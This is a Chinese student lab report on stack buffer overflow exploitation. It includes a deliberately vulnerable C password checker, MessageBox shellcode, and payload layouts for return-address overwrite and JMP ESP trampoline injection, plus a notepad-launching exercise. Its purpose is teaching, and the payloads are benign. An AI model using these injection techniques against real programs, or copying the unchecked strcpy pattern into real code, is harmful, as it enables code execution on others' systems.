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漏洞技术利用实验.html
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漏洞技术利用实验
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<h1 id="实验目的"><a href="#实验目的" class="headerlink" title="实验目的"></a>实验目的</h1><ol>
<li>了解<code>shellcode</code>注入原理</li>
<li>理解给出的弹出对话框的汇编代码</li>
<li>通过淹没静态地址来实现<code>shellcode</code>的代码植入</li>
<li>通过跳板来实现<code>shellcode</code>的代码植入</li>
<li>尝试修改汇编语句的<code>shellcode</code>实现修改标题等简单操作 <span id="more"></span></li>
</ol>
<h1 id="理解程序"><a href="#理解程序" class="headerlink" title="理解程序"></a>理解程序</h1><p>阅读并理解代码 </p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PASSWORD <span class="string">"1234567"</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">verify_password</span> <span class="params">(<span class="type">char</span> *password)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> authenticated;</span><br><span class="line"> <span class="type">char</span> buffer[<span class="number">44</span>];</span><br><span class="line"> authenticated=<span class="built_in">strcmp</span>(password,PASSWORD);</span><br><span class="line"> <span class="built_in">strcpy</span>(buffer,password);<span class="comment">//over flowed here! </span></span><br><span class="line"> <span class="keyword">return</span> authenticated;</span><br><span class="line">}</span><br><span class="line">main()</span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> valid_flag=<span class="number">0</span>;</span><br><span class="line"> <span class="type">char</span> password[<span class="number">1024</span>];</span><br><span class="line"> FILE * fp;</span><br><span class="line"> LoadLibrary(<span class="string">"user32.dll"</span>);<span class="comment">//prepare for messagebox</span></span><br><span class="line"> <span class="keyword">if</span>(!(fp=fopen(<span class="string">"password.txt"</span>,<span class="string">"rw+"</span>)))</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">fscanf</span>(fp,<span class="string">"%s"</span>,password);</span><br><span class="line"> valid_flag = verify_password(password);</span><br><span class="line"> <span class="keyword">if</span>(valid_flag)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"incorrect password!\n"</span>);</span><br><span class="line"> system(<span class="string">"pause"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Congratulation! You have passed the verification!\n"</span>);</span><br><span class="line"> system(<span class="string">"pause"</span>);</span><br><span class="line"> }</span><br><span class="line"> fclose(fp);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<ol>
<li>头文件中包含<code>windows.h</code>，方便调用<code>LoadLibrary()</code>函数去装载<code>user32.dll</code>，以便在植入的代码中调用<code>MseeageBox</code></li>
<li>在主函数打开程序同目录下的<code>password.txt</code>文件并读取文件内容即密码，若无法打开，则直接退出程序</li>
<li>跳转到子函数<code>verify_password()</code>判断输入的密码是否正确即判断输入的密码<code>password</code>与正确的密码<code>1234567</code>是否相等,如果相等则子函数返回<code>0</code>，否则返回非<code>0</code>，在函数返回之前将输入的<code>password</code>拷贝到数组<code>buffer[44]</code>里面</li>
<li>主函数在判断子函数<code>verify_password()</code>返回值：如果是<code>0</code>，则输出<code>Congratulation! You have passed the</code><br><code>verification!</code>，关闭<code>password.txt</code>文件，结束程序，否则输出<code>incorrect password!</code>，关闭<code>password.txt</code>文件，结束程序</li>
</ol>
<h1 id="通过淹没静态地址来实现shellcode的代码植入"><a href="#通过淹没静态地址来实现shellcode的代码植入" class="headerlink" title="通过淹没静态地址来实现shellcode的代码植入"></a>通过淹没静态地址来实现<code>shellcode</code>的代码植入</h1><ol>
<li><p>使用<code>Depends.exe</code>对程序<code>overflow.exe</code>进行剖析(参数保持默认)</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565836316689.png" alt="1565836316689"></p>
<ol>
<li><p>点击<code>kernel32.dll</code>，在右侧窗口找到<code>exitprocess</code>的函数入口点为<code>0x0001B0BB</code>，在下方窗口找到<code>kernel32.dll</code>的实际基址为<code>0x77E60000</code>，两个地址相加可得<code>exitprocess</code>的入口地址：<code>0x77E8B0B0</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565836376754.png" alt="1565836376754"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565836386263.png" alt="1565836386263"></p>
</li>
<li><p>同理在<code>user32.dll</code>，在右侧窗口找到<code>MessageBoxA</code>的函数入口点为<code>0x00033D68</code>，在下方窗口找到user32.dll的实际基址为<code>0x77DF0000</code>，两个地址相加可得<code>MessageBoxA</code>的入口地址：<code>0x77E23D68</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565836456007.png" alt="1565836456007"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565836461058.png" alt="1565836461058"></p>
</li>
</ol>
</li>
<li><p>打开<code>shellcode</code>文件源码并阅读、理解，在工程文件<code>overflow</code>同目录下新建项目<code>shellcode</code>，将源代码拷贝并作出相应更改：将弹出框标题改为<code>ABCD1234</code>，将<code>exitprocess</code>的入口地址改为<code>0x77E8B0B0</code>，将<code>MessageBoxA</code>的入口地址改为<code>0x77E23D68</code></p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><windows.h></span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> HINSTANCE LibHandle;</span><br><span class="line"> <span class="type">char</span> dllbuf[<span class="number">11</span>] = <span class="string">"user32.dll"</span>;</span><br><span class="line"> LibHandle = LoadLibrary(dllbuf);</span><br><span class="line"> _asm{</span><br><span class="line"> sub sp,<span class="number">0x440</span></span><br><span class="line"> xor ebx,ebx</span><br><span class="line"> push ebx</span><br><span class="line"> push <span class="number">0x34333231</span> <span class="comment">//1234</span></span><br><span class="line"> push <span class="number">0x44434241</span> <span class="comment">//ABCD</span></span><br><span class="line"></span><br><span class="line"> mov eax,esp</span><br><span class="line"> push ebx</span><br><span class="line"> push eax</span><br><span class="line"> push eax</span><br><span class="line"> push ebx</span><br><span class="line"></span><br><span class="line"> mov eax,<span class="number">0x77E23D68</span> <span class="comment">//messageboxA 入口地址</span></span><br><span class="line"> call eax</span><br><span class="line"> push ebx</span><br><span class="line"> mov eax,<span class="number">0x77E7B0BB</span> <span class="comment">//exitprocess 入口地址</span></span><br><span class="line"> call eax</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>运行结果如下图，对话框正常弹出</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565845037488.png" alt="1565845037488"></p>
</li>
<li><p>使用<code>ollydbg</code>打开新建的<code>shellcode.exe</code>文件，分析获取弹对话框部分的<code>shellcode</code></p>
<ol>
<li><p>定位到<code>shellcode</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565845700629.png" alt="1565845700629"></p>
</li>
<li><p>将<code>shellcode</code>内容复制为文件如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565845769821.png" alt="1565845769821"></p>
</li>
</ol>
</li>
<li><p>使用<code>ollydbg</code>打开<code>overflow.exe</code>文件，在<code>strcpy</code>处设置断点，当程序运行到此处时，缓冲区中的<code>dest</code>指向的地址<code>0x12FAF0</code>即为要注入的<code>shellcode</code>的起始地址</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565846024211.png" alt="1565846024211"></p>
</li>
<li><p>构建<code>password.txt</code>以注入<code>shellcode</code></p>
<ol>
<li><p>用<code>UltraEdit</code>新建<code>password.txt</code>，并切换成<code>16</code>进制编辑的方式</p>
</li>
<li><p>根据栈中的位置计算返回地址应该在<code>44(buff) +</code><br><code>4(authenticated) + 4(EBP) = 52</code>的偏移后的第<code>53-56</code>字节</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565845495853.png" alt="1565845495853"></p>
</li>
<li><p>构造的txt文件，格式为<code>Shellcode+若干0x90 +shellcode在缓冲区的起始地址</code></p>
<p>即通过调整<code>0x90</code>的数量来保证第<code>53-56</code>字节是<code>shellcode</code>在缓冲区的起始地址</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565846378550.png" alt="1565846378550"></p>
</li>
<li><p>完成后保存到<code>overflow_exe</code>项目的<code>debug</code>目录下，运行 <code>exe</code>程序，弹出对话框。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565846426783.png" alt="1565846426783"></p>
</li>
</ol>
</li>
</ol>
<h1 id="通过跳板来实现shellcode的代码植入"><a href="#通过跳板来实现shellcode的代码植入" class="headerlink" title="通过跳板来实现shellcode的代码植入"></a>通过跳板来实现<code>shellcode</code>的代码植入</h1><ol>
<li><p>使用<code>ollydbg</code>打开<code>overflow.exe</code>文件</p>
</li>
<li><p>在<code>strcpy</code>函数上设置断点，运行至断点。然后右键选择<code>overflow return address ->ASCII overflow returns ->search JMP/CALL ESP</code>，搜索<code>JMP/CALL ESP</code>语句，并点击日志查看,选择一条在<code>user32</code>中的<code>JMP ESP</code>指令，记录地址<code>0x77E2E32A</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565846888982.png" alt="1565846888982"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565847088620.png" alt="1565847088620"></p>
</li>
<li><p>更改<code>password.txt</code>文件，其结构为 <code>52字节填充物 + 4字节JMP ESP地址(逆 序) + shellcode + 若干0x90</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565847313872.png" alt="1565847313872"></p>
</li>
<li><p>运行overflow.exe，对话框弹出</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565847560360.png" alt="1565847560360"></p>
</li>
</ol>
<h1 id="修改汇编语句的shellcode实现修改标题"><a href="#修改汇编语句的shellcode实现修改标题" class="headerlink" title="修改汇编语句的shellcode实现修改标题"></a>修改汇编语句的<code>shellcode</code>实现修改标题</h1><ol>
<li><p>将标题修改为软件安全，新建shellcode1代码如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><windows.h></span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> HINSTANCE LibHandle;</span><br><span class="line"> <span class="type">char</span> dllbuf[<span class="number">11</span>] = <span class="string">"user32.dll"</span>;</span><br><span class="line"> LibHandle = LoadLibrary(dllbuf);</span><br><span class="line"> _asm{</span><br><span class="line"> sub sp,<span class="number">0x440</span></span><br><span class="line"> xor ebx,ebx</span><br><span class="line"> push ebx</span><br><span class="line"></span><br><span class="line"> push <span class="number">0xABC8B2B0</span> <span class="comment">//安全</span></span><br><span class="line"> push <span class="number">0XFEBCEDC8</span> <span class="comment">//软件</span></span><br><span class="line"> push <span class="number">0x00000000</span> <span class="comment">//阻断</span></span><br><span class="line"> push <span class="number">0x34333231</span> <span class="comment">//1234</span></span><br><span class="line"> push <span class="number">0x44434241</span> <span class="comment">//ABCD</span></span><br><span class="line"></span><br><span class="line"> mov eax,esp</span><br><span class="line"> push ebx <span class="comment">//MB_OK</span></span><br><span class="line"> add eax, <span class="number">12</span></span><br><span class="line"> push eax <span class="comment">//title</span></span><br><span class="line"> sub eax, <span class="number">12</span></span><br><span class="line"> push eax <span class="comment">//text</span></span><br><span class="line"> push ebx <span class="comment">//NULL</span></span><br><span class="line"></span><br><span class="line"> mov eax,<span class="number">0x77E23D68</span> <span class="comment">//messageboxA 入口地址</span></span><br><span class="line"> call eax</span><br><span class="line"> push ebx</span><br><span class="line"> mov eax,<span class="number">0x77E7B0BB</span> <span class="comment">//exitprocess 入口地址</span></span><br><span class="line"> call eax</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li>
<li><p>程序运行结果如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565847876404.png" alt="1565847876404"></p>
</li>
</ol>
<h1 id="测试结论"><a href="#测试结论" class="headerlink" title="测试结论"></a>测试结论</h1><p> <code>shellcode</code>是利用特定漏洞的二进制代码，利用缓冲区溢出等原理达到获取权限的目的。本次实验通过查找并计算所需函数的入口地址，得到一段汇编语言写的<code>shellcode</code>代码，并通过淹没静态地址和利用跳板的方法两种方法成功进行了<code>shellcode</code>代码注入，更深一步了解了函数跳转的原理，同时也明白了<code>shellcode</code>代码植入的危害性。实验过程中发现如果shellcode的地址含有空(<code>\0</code>)，<code>shellcode</code>会被截断。其中修改原理图示如下:</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565848011587.png" alt="1565848011587"></p>
<h1 id="思考题"><a href="#思考题" class="headerlink" title="思考题"></a>思考题</h1><p>在不修改<code>StackOverrun</code>程序源代码的情况下，构造<code>shellcode</code>，通过<code>jmp esp</code>的方式实现通过记事本打开<code>shellcode.txt</code>（可使用<code>CreateProcessA</code>或<code>WinExec</code>等<code>API</code>）</p>
<ol>
<li><p>使用<code>OllyDbg</code>查找程序<code>StackOverrun.exe</code>中的<code>jmp esp</code>的地址，选取其中一个：<code>0x77F8948B</code>，将其作为返回地址进行修改。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565848379938.png" alt="1565848379938"></p>
</li>
<li><p>程序运行结束时，使用<code>JMP ESP</code>指令跳转到<code>ESP</code>地址处，单步运行，查看<code>EBP</code>为<code>0x0012FFC0</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565848390125.png" alt="1565848390125"></p>
</li>
<li><p>在地址<code>0x0012FF74</code>处修改成如下汇编语句</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565848400080.png" alt="1565848400080"></p>
</li>
<li><p>构造<code>shellcode</code>结构：<code>12字节填充物 + jmp esp地址 + 汇编机器码 + notepad" "shellcode</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565848407673.png" alt="1565848407673"></p>
</li>
<li><p>使用命令行运行程序，参数为上述<code>shellcode</code>的<code>txt</code>文本形式</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565848414568.png" alt="1565848414568"></p>
</li>
<li><p>运行程序后显示未找到<code>shellcode.txt</code>，显示是否新建文件</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565848422212.png" alt="1565848422212"></p>
</li>
<li><p>根据提示，新建<code>txt</code>文件，内容为<code>123</code>，再次使用命令行运行程序，发现成功打开新建的<code>shellcode.txt</code>文件</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565848427852.png" alt="1565848427852"></p>
</li>
<li><p>搜索该新建的<code>shellcode.txt</code>文件，发现其在<code>C</code>盘目录下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565848433371.png" alt="1565848433371"></p>
</li>
<li><p>分析原因，可能是<code>shellcode</code>构造时汇编语言不精确导致的，现在还未弄清楚。</p>
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